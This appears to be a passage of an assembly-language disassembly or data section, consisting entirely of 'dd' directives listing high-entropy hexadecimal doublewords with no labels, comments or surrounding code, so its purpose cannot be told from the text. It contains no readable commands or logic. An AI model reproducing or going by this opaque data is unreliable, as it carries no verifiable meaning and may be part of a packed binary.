80640E7Eh, 5BC7FFC9h, 0C03A74E2h, 29F294E1h dd 0E45BD18h, 92F99569h, 8474951Bh, 9D9304D6h, 0C0C2367Fh dd 8907BF2Ch, 6AFFDAEBh, 0F77A346h, 0D8CCBC86h, 5EB314FFh dd 0F857415h, 4412188Fh, 52A014E9h, 6821529h, 90B1FD92h dd 12A53E56h, 4B2D3842h, 58756FAAh, 0AF3D16E2h, 5EFAC44Ah dd 798D8A39h, 5650CC22h, 0D9BF120Fh, 5BE4A5Fh, 2000F6A3h dd 0EB73A366h, 236B68Ah, 7BA9BFBBh, 64562B7h, 0B59F7F25h dd 288D5E8Bh, 0DEAFF8ABh, 0FDFE2FA9h, 0DCCC49D6h, 4CCF0D2Ah dd 0FEC75550h, 957B00CFh, 0D0A15F54h, 26D941Dh, 297A34D0h dd 9CC12A9Bh, 54A59D89h, 0DD3083B4h, 4D5D69A7h, 0C06EC4DDh dd 0F5FAE834h, 7FC66125h, 6281DFB7h, 5853AEACh, 1364BE0h dd 31F56046h, 3508758Dh, 915D60D6h, 0E57E2641h, 0F0E536B3h dd 477F967h, 0CD9D03A7h, 0EB800012h, 516AE9D3h, 2831F3F3h dd 6520C1C9h, 0E38C98D9h, 5890AF74h, 0DE1D9B50h, 1B9FAC5Bh dd 8E4A1BE9h, 0FE6BBFh, 296D6719h, 0A10AB595h, 7887F526h dd 9B0BAA51h, 1AE1D522h, 0C0090F0Ah, 0C4645F05h, 252DB4A0h dd 4091C99h, 794D5D24h, 266AB263h, 14DD093Ah, 3104492Ch dd 0C80FF185h, 442C12Bh, 38270D10h, 0B74FA48Dh, 0B23E099Fh dd 9DD13120h, 801A11D8h, 8B982CF5h, 0BDAC26E7h, 411509C3h dd 40216475h, 68A9701h, 0B79594h, 4A66BB50h, 6A5F2D75h dd 0E801024Ch, 0DF008C19h, 42FD3E65h, 0C310E9A4h, 9CCF4A1Dh dd 59D35E90h, 6B1A9501h, 0E25A756Dh, 597446D1h, 0B7C6AAF9h dd 0F7D3840Eh, 0CAF4AE9Eh, 0C29300F1h, 0E419EB38h, 76705565h dd 3097D802h, 0CCCA9AE5h, 870F194Ah, 21603B0Bh, 29C217h dd 0E961CBBEh, 0F90C5F44h, 815D815Dh, 3D215BEDh, 27A26167h dd 5559AFE1h, 0AB009FFh, 600DCD55h, 3886B28Bh, 8248790h dd 520E2D91h, 0A065EB29h, 0B7505FDEh, 0FFB4AAAAh, 6CC123CDh dd 0FCC4C0D4h, 0CC3D1465h, 2780F3E8h, 0F8E7D7A6h, 6BBAE302h dd 0DCF31ACDh, 0AD30A9Fh, 0C50310ABh, 0D9FF5FFBh, 0E0FE7611h dd 0BF4AD576h, 5C972FF8h, 1A467CDAh, 0B69B7000h, 0B3F6B8A5h dd 25E3FF48h, 0B3377732h, 0D0321380h, 9CFF6A34h, 0CA2CDC5Ah dd 1112CCADh, 399B0C85h, 22029DC7h, 0CAE00AD8h, 0BB8004ADh dd 0DCA9127Fh, 0C9850867h, 140A1A8h, 20129AB0h, 0E6031D81h dd 0C9B52970h, 0E4101302h, 3CFB0071h, 0F5830F61h, 0D0EB75D2h dd 0C0F0B9B3h, 2EBBCC03h, 2E58D09h, 0B60F5B3Bh, 1589BAC8h dd 16268D24h, 2A188A13h, 8330457Ch, 0F04E8B8h, 0DFE38C4Ch dd 4214DC8h, 0BAE2F766h, 8000C9B2h, 0C82BE0D7h, 9BB80156h dd 8B7B3162h, 225E6D1h, 0D4B05E9Ah, 5866B6E4h, 0FEB9679Ah dd 0F2835200h, 6AB32EB6h, 220D4488h, 7A7E95A3h, 781E698Bh dd 9EAB0B9Fh, 3E02D30Eh, 0FC12307h, 66510014h, 0D0F71681h dd 74E5CE4h, 9A3B5BB3h, 131611A2h, 0B0C0360h, 4C8BE10Eh dd 432642D6h, 1CA562DEh, 3D8DC20Fh, 0B1F16B2Eh, 1B402D31h dd 98E183D9h, 258422FCh, 5FEE894Ah, 1EA5D411h, 9E60FE18h dd 140AF2E0h, 73958961h, 0A65D0C33h, 8D10E1F3h, 84C83B5h dd 0CF81057Fh, 0A208FBA0h, 0DB03A76Ah, 910116B5h, 132C781h dd 6668EBB9h, 29BD1876h dd 0FCE18D22h, 708B0F3Bh, 822F0FAAh, 34C0B5B4h, 0C89CBADAh dd 97F08D3Bh, 766AB8E6h, 68061523h, 87568A31h, 6014C424h dd 3233AD9Ch, 0D03AD1C2h, 0F474B07Ah, 0B70030B1h, 0E4C4A642h dd 203F0566h, 0C14057C7h, 69278122h, 0DD80C4Dh, 9BF3388h dd 730BC941h, 0D19B5FC6h, 978FB78h, 0BF3652E5h, 2CC81D0Eh dd 59D3305h, 0AF50D54Fh, 318E3C2h, 0E90878C1h, 5819D5B2h dd 587BDB57h, 1C0B25F4h, 9A429F2h, 0C055C2F9h, 9610E552h dd 423C44B1h, 9A21DB80h, 0F2560EFh, 56592EEAh, 4E1C09A1h dd 0FFD98221h, 17AD2EE1h, 0FB0014ACh, 3E792F3Fh, 0B48BE9A9h dd 0A3936C5Fh, 880D55D0h, 50B11101h, 0BC16BA9Fh, 7F9C61E0h dd 72684586h, 3018F235h, 1F1768BBh, 4F02820Eh, 6257DEBFh dd 0EB05A90h, 0D98C665Fh, 4C52BB60h, 44AE180h, 4ED6BEBh dd 671DA23Bh, 1F91CAC1h, 9AC90A01h, 0A02BF7ECh, 4377BF51h dd 89154C63h, 27062917h, 818058A6h, 0DC8F5DDFh, 8533133Eh dd 31D88175h, 1C703D8Dh, 52836050h, 0EF0FF28Bh, 0F8218025h dd 4531585Ah, 0ED2A5861h, 27FACC1h, 41E3D539h, 79F1965Ch dd 20F1DA0Eh, 849313DEh, 8CCB34D8h, 25AB0462h, 0C4680028h dd 9C4E0EBEh, 348100D5h, 11BD3B24h, 18A8A7F5h, 2FB24836h dd 55356037h, 6801791h, 898B01D3h, 34EB8571h, 0B55A9DC1h dd 0CDC80F56h, 0E9EA09B3h, 2F1F01E5h, 10801D11h, 2E3588B5h dd 77C54B05h, 138192A3h, 82392CEDh, 9E70A535h, 0CDF98185h dd 7E60EDB0h, 0F20E1258h, 0B3D0AE3Eh, 6C6360h, 64D570B6h dd 28CF16A7h, 68964807h, 1209C750h, 0B0F95787h, 0ED318320h dd 0A9B5A32Dh, 5DF6517h, 0A201597h, 8E9D215Fh, 4F37BD0Bh dd 9BD3891Bh, 85D780C4h, 97A8232h, 3A7B4F1Dh, 0D7B21B0Fh dd 0F329F4F3h, 3319E219h, 0C85C13D8h, 8909CD1Eh, 0FA8A0484h dd 0B4FE93B0h, 582D2317h, 161DAE99h, 1A676A30h, 49B5608Ah dd 7A558232h, 3BF21F0Dh, 0A4C84097h, 0CA888443h, 0C0B72C02h dd 44B5FF5Bh, 78BB930Ah, 2873FF18h, 25016500h, 0BD093D87h dd 8262F56Dh, 0CA68FE07h, 0BBAF317Bh, 0A03C0E6h, 507814Ch dd 50B68835h, 0B2B89BC7h, 5C54DF34h, 0C11BE6Ah, 0CF00693Fh dd 40912E5Bh, 3A124B95h, 0E408D555h, 2077A510h, 0A0270534h dd 0AC0E0721h, 2207FC1Ah, 466A5B5Fh, 25D9CFC1h, 4AF84A8Fh dd 9373FEEh, 80C77799h, 802A58DEh, 61B626D7h, 59711AC0h dd 526148F9h, 0F9C65FB7h, 427D49A6h, 4D7357BBh, 7E87358h dd 42AA63F6h, 299701DBh, 0F9B82FBDh, 881EE912h, 1D9503B2h dd 25D1726Bh, 525A8EA7h, 1F8951A2h, 0F695BB58h, 0F002D64Eh dd 52AE580h, 25CA96E6h, 0B77503F1h, 0A0F984C4h, 72DCAC03h dd 0D634DE5Bh, 0B320F6ABh, 0FBB8982Fh, 0A07DFCD3h, 821049F1h dd 0F88FDA60h, 4E5AA625h, 60F3AD74h, 0E266F1A9h, 0F417017Dh dd 0FBDDFD4Ch, 9B08766h, 0A4018A41h, 473BBB85h, 3FD43586h dd 6DB02525h, 7E958C46h, 0C705D60Dh, 0ECEACC61h, 0D7DAB6C3h dd 580D8543h, 0BB025625h, 26715323h, 0D98B59E0h, 0CD9255B8h dd 14DC78B6h, 32E9DA7Ah, 0B200693Ch, 23E2E81Fh, 6D77C559h dd 0FD39FD2Bh, 7F38000h, 7EE38166h, 0CE1A95CCh, 0AD222620h dd 0E3000A9Fh, 0A3929B0Ch, 564D8DFFh, 0F0CC54Bh, 6633048Ch dd 3E88BF09h, 0ACAF51F8h, 6109DE66h, 5394BBA2h, 2D9D06C8h dd 0C44A92Eh, 1FA3E25Ch, 416C22E1h, 0A8844ECh, 0D27A2DE6h dd 9A85EF9Ah, 0FB048C86h, 18B5A000h, 373B5268h, 573948E0h dd 70C78001h, 28C2835Bh, 8E1DE89Eh, 6400CC7Fh, 84D87714h dd 95F9600Fh, 0EB72689h, 0D94EDF82h, 1430E131h, 0D23FA904h dd 0C1E88FEAh, 1870FB9h, 0A9A015B4h, 6EEE4B31h, 5A0700FAh dd 8567415Ch, 19750E02h, 209F9D0Bh, 22DF51A0h, 4D5E4D6Ah dd 25D68761h, 724FEBC8h, 6A2704F9h, 0CA207CA6h, 546A5A70h dd 0EB139600h, 0C65A11EAh, 173AB848h, 2E2231A1h, 0A400F1F9h dd 65E2A5ADh, 9DBBE980h, 1487457h, 2204D3ECh, 0D0A91081h dd 1F655AD8h, 222BA95h, 5630B981h, 102C7122h, 0EABCF81h dd 966CBF3Eh, 2FDFCB60h, 4F2502Eh, 3B61AC1Fh, 8F10E908h dd 0C9403A6Fh, 0BCF5840Eh, 0DC85E100h, 92CF424h, 29DE90B9h dd 251EEECh, 0B619D89h, 0B1225412h, 0A503A118h, 649ACD0Ch dd 0CDC601Dh, 0EC690022h, 9A8A7766h, 0A3F88099h, 50079995h dd 0DCF2B655h, 2E513DCDh, 64ACDBEDh, 16ED5B00h, 7E4D3EB5h dd 9DF909BBh, 0E2512AE4h, 0E3FE90A7h, 181D096Dh, 0CB509240h dd 9F8BFC4Ah, 0DE926027h, 0D7F957h, 0EAD3E1C2h, 8D2429C9h dd 61972E1Dh, 0FFF53E07h, 3B2CB01Ah, 0DAA6C164h, 0A4349EE0h dd 0FA373F74h, 0CB1C528Bh, 66C58814h, 566C4938h, 0A0E9C501h dd 58BC6AB0h, 54000D5Bh, 0EFBD9BC0h, 5C003A21h, 0F9D7848Eh dd 71EA2Bh, 6374F893h, 0FDCBA9B2h, 64421903h, 80DE7D96h dd 7CDF32h, 61E8CC9Eh, 84D3217Fh, 4AB80450h, 0FCB38500h dd 46396F50h, 729F0063h, 0AC8C6E9h, 71005407h, 15F368ADh dd 191CA47h, 3229EDABh, 0EC46CB0Fh, 0C80F8366h, 0C0CE8D84h dd 8BAEAD67h, 0B876302Ch, 0B1931ABCh, 7EC81200h, 8010F336h dd 67251F3Bh, 0C78E00AAh, 0DD8C1C94h, 38D95700h, 5E809155h dd 81A400B7h, 5F2D0BBAh, 0EB002AB4h, 15E3C170h, 13A5DFEh dd 53BE20F6h, 0F8A1E508h, 100C8EBh, 6CEF2652h, 988E9ABDh dd 947F038Bh, 62270990h, 0E5AC860Eh, 654EA0EDh, 994889h dd 58C04EAh, 7EC79423h, 8207A87Dh, 88D33E0Ch, 68A96760h dd 0C09B0376h, 0CAA12E11h, 10F22B0Eh, 88F1C7ABh, 6D9ADE11h dd 4C1E250h, 2B4E060Dh, 2E6B461Eh, 378C6E00h, 81A37331h dd 191860FAh, 88AB5A9Dh, 8ECD441Eh, 12F5A483h, 11B19373h dd 27017956h, 0A2205DA0h, 583BEDB2h, 0E06CA80Fh, 0AB22A6F9h dd 64A70050h, 6083D838h, 0F27DB699h, 0D2163903h, 0D0F81B40h dd 330EAD1h, 199177E4h, 3B05B092h, 990FF235h, 0AF37EE40h dd 0F564EAh, 446C23FDh, 1104FC61h, 0E3274A00h, 48072A31h dd 9F7B0E40h, 39ECE576h, 25189D78h, 41E1BC9Eh, 601B00FEh dd 0EF6CA462h, 222405CCh, 860F585Eh, 0B540EA9Ah, 2BBB9E80h dd 60E6AF54h, 0A368FCB7h, 0BC01D9DBh, 8E71D71Ch, 8752B54Dh dd 2D46A174h, 1FF70F7h, 21D01373h, 3059BAFEh, 0F8C0CA15h dd 477661B4h, 267148h, 0B9DC8BF1h, 38675C90h, 520E29F0h dd 20C909CEh, 0E8229D9Ah, 0D4410005h, 3ADBA987h, 7D003B21h dd 2AE5C893h, 3D6D672Ch, 2083D573h, 3E3E2EDh, 0A5B65CA8h dd 0FA968207h, 4061A335h, 0CFD4254Eh, 0B8A80552h, 23FEAD85h dd 0BEF831C8h, 533142F9h, 6638F693h, 0AE5FE593h, 0FAED0A8Ch dd 90DC184h, 2421E1C6h, 161EDA78h, 0B98FD8FFh, 52909D68h dd 0E418400h, 0A1D46B91h, 65598C00h, 3CEBCE8Ah, 5D1B0619h dd 4384A7B4h, 3B5EFD01h, 3D99DE12h, 36A5E641h, 1B183B22h dd 8A6C7D44h, 770E3512h, 0D145244h, 0C0D72249h, 7CE4561h dd 0F4A36A8Dh, 0C049011h, 0E8002C4Fh, 0D93DFB29h, 0C1AB8D82h dd 0C6A82F53h, 4B0C806Ah, 31E02308h, 94023F0Eh, 3E1DF300h dd 1E43D660h, 4265F601h, 5FE6CC7Bh, 9BFE170h, 0ED0ED578h dd 7A771600h, 44706716h, 6C001190h, 0C5E8739Eh, 324E0B8h dd 0FA1678C0h, 1B983E61h, 11091D40h, 0D602DCA3h, 0B4630F95h dd 0CE086F00h, 749D9B43h dd 0A26780D6h, 3D3FB966h, 6F528101h, 62B371F9h, 0FD6D0h dd 0B2A9682Ch, 95C64B8Fh, 0E571A290h, 0C1387C17h, 0F044AE1Eh dd 0A9CC93E8h, 52350026h, 7A9654DCh, 5F7AFEE1h, 0E41390F2h dd 494865h, 7248D78Ch, 0C6C17021h, 0FFBDA3E6h, 4003CA27h dd 0AFF3AE91h, 4D1B9600h, 9DEF13C4h, 54312C8h, 26C418A5h dd 0E70F2A6Eh, 0A4D08E74h, 0A493F518h, 0A45E540Eh, 0C483063Eh dd 7C0110CEh, 3F1FBA65h, 0E62A8800h, 0B0A2D2Eh, 21B19443h dd 0C008E584h, 6AA76B7Fh, 5133BA18h, 4893D635h, 0D100F9E4h dd 0BDA0678Ah, 0E7319E47h, 3BA4EE0Eh, 48CB00C2h, 86028FD0h dd 0B94026D5h, 0FE0F40B7h, 5339007Ch, 0FADD7E95h, 5030323Fh dd 46D81A6Bh, 9E97271h, 3C3EC5ABh, 0BE012E20h, 9A0058E0h dd 0F8BFE279h, 0CB9C9915h, 31031D6Bh, 24A5C4A7h, 0ECCB1CB1h dd 0DDC80448h, 0A230818Ah, 43C6305Fh, 978CCF06h, 2D44BB5h dd 5914F73Ah, 405D965Bh, 2C64CA9Eh, 898C482Bh, 0D20122F0h dd 30864B49h, 0E80378AFh, 8D1AFD8Ch, 5ED6B8h, 7AEED509h dd 0E40754BCh, 3A3A1D2Ch, 0F81CDA80h, 0E40A8063h, 5B411599h dd 9700659Dh, 0A8B3611Fh, 33B38C5h, 4072003Fh, 7B96DAFDh dd 79BD30E0h, 0BC599D4Ah, 537C9F00h, 7FB581Fh, 3C220099h dd 9017FD25h, 0A700885Bh, 6F55986Ch, 1FC5FB1h, 99DF12D9h dd 203C6AF3h, 0D02946DFh, 65039661h, 488AADAEh, 0F907AA16h dd 0D0BFF47Bh, 82FC78BBh, 0B419FB18h, 9A5B9E0Eh, 8FCC000Eh dd 0B727EBA9h, 0D98FE5Dh, 0F87F650Ch, 39B2D16h, 31FF7558h dd 4BB07BE0h, 0CEF890C9h, 1F642C00h, 2F0D4EC3h, 74B00761h dd 0F9DA0BEDh, 9E4D2400h, 0DB06377Bh, 0D9E0C249h, 22650018h dd 0D6445073h, 0DC0E35E1h, 4019A17Fh, 62932E3h, 684A303Fh dd 0EC73ED47h, 8F0F0A60h, 4CBA9D4Ch, 5A0017F6h, 0C1E4779Ch dd 0C200997Dh, 0FD29D89Fh, 9244714h, 0C3BF7A5Dh, 0CFD08993h dd 4BCA6648h, 6013D4EBh, 0B0E8CBAEh, 1304EC83h, 0AE241C89h dd 6FADCD9h, 5C131C87h, 0BFA1D868h, 32789268h, 3C116203h dd 276C9F02h, 0A9B9800Ch, 420F1226h, 0C799C181h, 0F16058FEh dd 601E2D4Fh, 0F8AB1879h, 890223FCh, 8B5459C8h, 0E8DB753Ch dd 0D08BB0Ch, 52FB0E01h, 1340C289h, 34FF5B5Ah, 835F2419h dd 9A9F8B32h, 81E5C555h, 0A0655DC5h, 0E92C40h, 0FFFBBF20h dd 43CF3740h, 49A58101h, 9004ADD9h, 4ECDB8E4h, 0F820BBBBh dd 1EACDE52h, 8425CA0Ah, 0C0590E12h, 9DE44779h, 19B77B00h dd 0E31D7F87h, 0AA55009Eh, 7C0B12DAh, 5000668Bh, 340FE9C4h dd 0F94F4Ah, 0CE65B20Ch, 79C0CF17h, 0D2947100h, 0B7C229EEh dd 636D00FCh, 966AC45Ch, 354FA814h, 2E56BE8Ch, 40EE8C0Fh dd 66505BF8h, 0DFC0BF25h, 714D8B0Bh, 80BD1FC0h, 3BAA7C68h dd 0FFCB9D89h, 6CA61912h, 0D02C8DF0h, 69E72E48h, 526DD742h dd 7C8EAF66h, 0ECCE8331h, 6005C52Dh, 0A3BEF5D5h, 6FCA4D5h dd 84E39B4Fh, 0A4BA517Ah, 0CA00CB8Ah, 5E4B90Dh, 633CF0h dd 6A1DF768h, 0B3DE9184h, 5F46AD12h, 822EE1A0h, 0DB002359h dd 0DF7A34A4h, 0F26D02D6h, 903BD170h, 9340A676h, 3758Ch dd 0B90E24CEh, 0AE40A427h, 0D9059F00h, 0D759BBF1h, 5F3A0266h dd 90D88B50h, 0DC9056h, 718B72BFh, 0FF26266h, 57428A50h dd 806CD697h, 216A046h, 8C1C77A8h, 0F5655BB9h, 99D8518h dd 396929Dh, 3B85ADC1h, 0DF3C0F0Ch, 0DEF97B04h, 0DF89FC16h dd 19BBC942h, 2D887E3Eh, 81B869BDh, 702A0EF7h, 333CA1B9h dd 9CD1FF19h, 0FA132A99h, 0B48887E2h, 0F47860ABh, 0B6DA0088h dd 3DD78146h, 6B621DB4h, 213FD72h, 9DF3026Ah, 63F070h dd 3205BEFCh, 604EAC02h, 7459EB4h, 213893ECh, 0D15E9D00h dd 57B10B9h, 0FE80BF04h, 0F2BA28A8h, 0E4080039h, 0F3DB339Ah dd 5D5E0471h, 8285AF64h, 4123133Bh, 42308F91h, 8E9C40h dd 0A31F73F7h, 712503FAh, 0ACFDF812h, 9C5FD0FAh, 960934E0h dd 80C918BCh, 0BB669033h, 357A5A20h, 698304AFh, 0F9A1492Ah dd 94FFC4A4h, 804E9ED4h, 2A493489h, 6EFE9711h, 0D353B780h dd 0AA5F7Ch, 7E824E26h, 9D141AD4h, 71088A04h, 8AF88BC5h dd 0E9EE393h, 0B85D9D29h, 580F9018h, 5282178Eh, 0AB645B50h dd 900107FAh, 0B6F3EB81h, 663F3193h, 1169606Bh, 9F53F049h dd 1B91781Fh, 0EB89BF84h, 8B13DBB2h, 4F56F7FAh, 0F98F129Ah dd 0D21F5C00h, 6558A0Fh, 0A509C55Eh, 5937F759h, 0DF835500h dd 1F40E79h, 23CAF31Eh, 6D13959Dh, 897D2D3Dh, 0C0FDED9Ah dd 2ABE9BF8h, 78F44009h, 90947034h, 82FF5E3Ch, 0C9111F43h dd 6508E911h, 0F4203B91h, 2DC5F064h, 8E61480Eh, 815B0025h dd 3AE206CBh, 32B0212Ch, 0EF0944h, 0E05416AAh, 47F2DA7Ch dd 5A566002h, 0DC0DB58Bh, 0E65F83CAh, 0E9F15370h, 0B577100Ch dd 0DA5C0065h, 2CE64552h, 314F5863h, 0E45FF580h, 8D891671h dd 0F92CC46Dh, 92AD22B3h, 3E16416Bh, 0DE53A71Eh, 0C100A9F3h dd 0D85EE781h, 8A9F1C3Fh, 4409CFA1h, 6299F93Eh, 0EE0CAAF3h dd 99710602h, 86D18B1Ch, 0E9D6A154h, 39444B4h, 48012091h dd 4C459B8Bh, 0F90222DDh, 0AD34817Eh, 6012A75Ah, 9F5FFCC0h dd 53117BA4h, 12E1E306h, 2938546Bh, 0B1E1ABB1h, 398FF8Dh dd 0EB6DAA66h, 1E72919Fh, 0CA59517h, 0DB2AFE14h, 893A2C0Ah dd 0DE285595h, 9B7B971h, 86BF33Eh, 24303AE7h, 0E16A45A5h dd 52B8DF6Dh, 18EA2E3Bh, 484E5B99h, 8BB89FFCh, 931624D7h dd 0BE53A8B9h, 3305186Fh, 0ECEE2C03h, 0E5267FF3h, 486085F9h dd 11D16C5h, 0FDE14433h, 0DCDD645Bh, 24097884h, 0F8878980h dd 69B7BDC1h, 0F1B1B500h, 9DF749Eh, 0A67011E0h, 79F28A80h dd 0FC3A75C0h, 0F0A2562Bh, 448A7B6h, 2B8D2E1Fh, 0B8EBADD2h dd 0F9EC090Ah, 0D2F957FEh, 0E2E0B3EFh, 31780462h, 881D0585h dd 849889E1h, 119FE5B2h, 342BFCCDh, 0FDCFCC4Fh, 6B9AEC00h dd 238F26EDh, 4E020974h, 0BAF927E6h, 1DE3AACh, 0F67A356Ch dd 3FDA8BCDh, 9554D62Bh, 5A7D7E36h, 0BD0C8FBh, 0B51BC970h dd 9AE041F8h, 0FC5B0410h, 212CA2C9h, 0C2B834B3h, 75C16024h dd 80000951h, 614FA3C9h, 4C0BCDCCh, 0C049B0BDh, 0CD4CE135h dd 3533E1Bh, 3B84B9E2h, 0ABE80A04h, 5F79BE40h, 7AA90081h dd 0C99727F2h, 6866D494h, 4F6785BEh, 12D2CA5Fh, 2DA70430h dd 1D5FA5A0h, 7BEB8205h, 68C18996h, 5C591461h, 0C4F50E3Eh dd 84DBAF93h, 0C0308CC0h, 0BEB0C60Ch, 5A042520h, 8EF79B60h dd 0A79A0128h, 0E4303BBCh, 891D5B95h, 1A133F0Eh, 464E16F1h dd 93C51488h, 592C0DA9h, 0B5F5A5A7h, 0E6AF8404h, 4E6FE8F9h dd 0A7E99FC4h, 82407E8h, 0E6278EC4h, 0D15DB139h, 7E4181Ah dd 0BFCFE7Ch, 298E9BBAh, 0A85190E5h, 274E8024h, 40CCC23h dd 0C4FC91B2h, 0DACAB0CAh, 0E878904Ch, 0BB708C18h, 7ADCB736h dd 4F1B042h, 5B719268h, 0BE52C078h, 615AA544h, 726D4981h dd 0F6EEECE3h, 5FA9B032h, 71A19031h, 69169F05h, 254635BDh dd 627A8AF7h, 5320550Bh, 7837AB5Bh, 0A02CE9A8h, 467C9201h dd 0AB10021Dh, 51AE72C8h, 6FE42778h, 0DCACFC97h, 0A301ECFCh dd 6BBCF7B1h, 356A7BB3h, 0DEB6095Ah, 13317682h, 0D3E957D4h dd 3F597117h, 1F291005h, 0A6D772A9h, 4120E135h, 174B533h dd 883B5D1Fh, 0F8B2DCCBh, 9B04441Dh, 0F8B70F6Ah, 238199C4h dd 0D4DE42BBh, 1846D679h dd 0E800353Ch, 1520825h, 2D947195h, 4626D028h, 0DE7F04h dd 0E839B8AEh, 0B796114Ch, 4F501F3Ah, 0E80C19Bh, 0B5899903h dd 0F99D1569h, 0B0A681h, 25FE329h, 85EE7F68h, 2EBB6A02h dd 48230B3Ah, 7CC880D4h, 998B5A9Ah, 640E4753h, 2AC2121Ch dd 0ACD15F9Eh, 0BD62326h, 0B73A9D84h, 99A4570Eh, 2DEC8A1Bh dd 39B63761h, 17E481DEh, 4B2D6A09h, 69C0A15Bh, 9EAD3BE0h dd 81225800h, 9ADEE1DBh, 0A5949F5Eh, 68604882h, 2822125h dd 0D42E1DA1h, 24DFE251h, 4BD37A1Dh, 126B3271h, 2E065C94h dd 0AE857049h, 1404BF88h, 0AB5248D6h, 25019CB3h, 618ACF81h dd 343B46D6h, 0AC05FD0Ah, 2CA08C17h, 7996C640h, 517D050Bh dd 0A3D32505h, 9BDBA78h, 14102CCDh, 89A5FCF9h, 0ADAD5CFEh dd 6711DFC2h, 72878160h, 25852340h, 9F619E34h, 0DD48A29Ah dd 8921BD31h, 0BFB33416h, 0F8E0B8B6h, 0DD27D896h, 87AEEE1Fh dd 8B0AE07Fh, 0A726B5E9h, 14091B01h, 0A7B4F94Ah, 872EB575h dd 0D0EEBEF7h, 181ECB32h, 5E678B31h, 753FD365h, 0A0D3A6C6h dd 928D6D0h, 347129B9h, 53CD4F85h, 2EBCE1B7h, 0C7826D9Bh dd 6D59D227h, 3694A300h, 962BBFB9h, 6AB70A7Fh, 205009A8h dd 60A46DD7h, 0E4237F30h, 7CFF9AB7h, 9BDBE9C6h, 4E84F250h dd 483B8D9h, 0EC6EB4E7h, 2E5D6DC1h, 7AFFDD2Eh, 0BD0B3930h dd 5049F95h, 2FA6EE6Ah, 5D27D8E0h, 4E09337Ch, 0D582E4B0h dd 0C79F39C8h, 0B922FC19h, 2C3F0491h, 104BDD7Dh, 6BD3F1B2h dd 66F200D7h, 8834426Dh, 0E5C49596h, 1CC0600h, 77361ACEh dd 5F6C3B5Ah, 0EE552D01h, 3FA7F371h, 3760DC0Eh, 73FA8B0Eh dd 0FB3782AFh, 0A4EE9604h, 0F60019F8h, 1CE73B22h, 627234h dd 0D6206886h, 2B7811B8h, 62C22EF3h, 976935Bh, 9509F94Eh dd 0F6F3E389h, 61870F8Dh, 51F67EC2h, 0CE01518h, 87449527h dd 96643C00h, 8A50FBB3h, 14D8B0D9h, 0B60A31BDh, 0DE7EF9B2h dd 3410E68h, 127F8D9Dh, 0D7BDE905h, 0A705DE6Ah, 0E8037227h dd 89521AA7h, 0F1FAA9B6h, 96E67DBh, 0E0DB6DD5h, 0B60933B0h dd 989F2B75h, 549501D4h, 0E1C6AFA1h, 0C21ADB2Eh, 77D634A0h dd 3A274F10h, 2FD46900h, 0EFB0DFC4h, 0FC720336h, 0F190663Fh dd 0D8611BE0h, 9F704B5h, 0C515B0Bh, 0CF04E168h, 3EB4408h dd 0FFF46CFAh, 0C081DB8Dh, 9072C27Dh, 0C3FC586Dh, 6E71CB02h dd 0BF406A58h, 8B8032EDh, 3EBF04C1h, 0AC4153C4h, 9589C2FAh dd 500869A9h, 0C3EEF83Bh, 8814D3ABh, 23C6A7h, 614E175Dh dd 66BBA115h, 3BED6FE4h, 9BFC580h, 1FD4272Fh, 37DD295Dh dd 1CB78FF4h, 8EFA34E1h, 64B66065h, 1842A21Ah, 0CB377550h dd 9F737700h, 2C5CB6F0h, 1AF3C29Dh, 7A534CF8h, 3A1E0E70h dd 0E5D08A60h, 596C0A7Bh, 2AC6118h, 60BCDD8h, 5AE016CDh dd 7F2D32FEh, 0E6BB023Dh, 4CB38C4Ah, 9727415Ch, 82169143h dd 5F480FDCh, 634D5929h, 0A49EA1C1h, 803B6635h, 6AC6347Dh dd 30DE3ABCh, 88F29E34h, 8F262EB1h, 8913729Bh, 0FDED1BFh dd 3327D686h, 5F1A51E2h, 880F8C38h, 0BD0312A0h, 4A776149h dd 6E2B0ACDh, 0AA9D006Fh, 0DEEB37FCh, 40BFBEE5h, 1BD6D5EAh dd 1FAABE00h, 7370850h, 0D1FF09F1h, 9E7A8B0Fh, 198AFC4Bh dd 0FF537E27h, 4B1C7D8h, 6AA11173h, 0C808BA02h, 8B900216h dd 878E50DEh, 524A7751h, 7D316792h, 432C451h, 400CDE90h dd 2D146ACDh, 53E3DF00h, 578145BFh, 542B0B0Ah, 0D014FE67h dd 16D4149Eh, 44207F37h, 0ACBDE9ABh, 0CDE2E1E3h, 0B95B8204h dd 0B0FA342Ch, 2A912524h, 0F0FDB46Eh, 50810171h, 0CE6B206Eh dd 6E0FB0F8h, 804B1230h, 55CBE75h, 0D8640138h, 52AB022Bh dd 188248Ch, 9F1BD25h, 27C053A7h, 0A66BD690h, 0F5105300h dd 8E779A70h, 0C9B29598h, 352515F8h, 0B6A96EBFh, 2800D41Bh dd 4E6ADF1Eh, 0EBB867BEh, 7E5A1F2Ah, 0B7EC53Ah, 7625299Bh dd 5A1E602h, 3AABD77h, 8C2C49DEh, 0F0E36026h, 0D4987527h dd 0C125EEB0h, 45816C09h, 0ADD60347h, 2B00E84h, 0E8EDBD2Bh dd 470E654h, 0E444CB80h, 8062E871h, 416DBFEBh, 0EE8D0286h dd 0CE803399h, 1A945356h, 25B5092Dh, 35535906h, 29F6201Eh dd 2B41ED95h, 0F55D222Ah, 0BD3373C0h, 0D92ACD25h, 252028FFh dd 0F9D92021h, 81276014h, 1FD59531h, 0C9DFC104h, 2B61001Eh dd 0F8A392C8h, 3CC495D1h, 3CBC3Bh, 2356DAA8h, 0CE5C42Dh dd 0C6653726h, 988AB7ECh, 348EB3h, 6584FE54h, 0C5E47935h dd 0CF310A02h, 0E38A321Dh, 26FB5061h, 0D52F25BBh, 19BD8268h dd 47721741h, 1CE31A00h, 0EAAD8F50h, 20324300h, 61E8F430h dd 0CF0B122Fh, 5514F9D7h, 15DD2EBDh, 3568206Fh, 4A1E619Dh dd 59D2052Dh, 4112E1E2h, 29FB713h, 0F50A0EBFh, 40E85E19h dd 0AD972BEBh, 514AC271h, 8A33ABC8h, 52811485h, 4AB1A6B1h dd 902CFB82h, 0B925DDBEh, 2801124Bh, 0F800FCC4h, 183AD4DEh dd 4A10D3E7h, 8FC0D875h, 0EC294B40h, 271F5851h, 0ACDFB7C4h dd 256FD6A0h, 5908E200h, 0C7667C2Ch, 0AAFCCD28h, 94B94180h dd 230C9EBAh, 0F31D299Dh, 9BFC4AE1h, 0E46D80DAh, 98F72E69h dd 27C12054h, 29506017h, 0A05AF3C8h, 801E699Eh, 0CD97FC61h dd 601A446Ch, 9EF4595h, 0ED34CDB5h, 0BA14B776h, 0A6313E2Ah dd 47A5721Dh, 0B57DA78Ah, 0D40D848Dh, 4D9FFC63h, 8D0981EFh dd 652B01EDh, 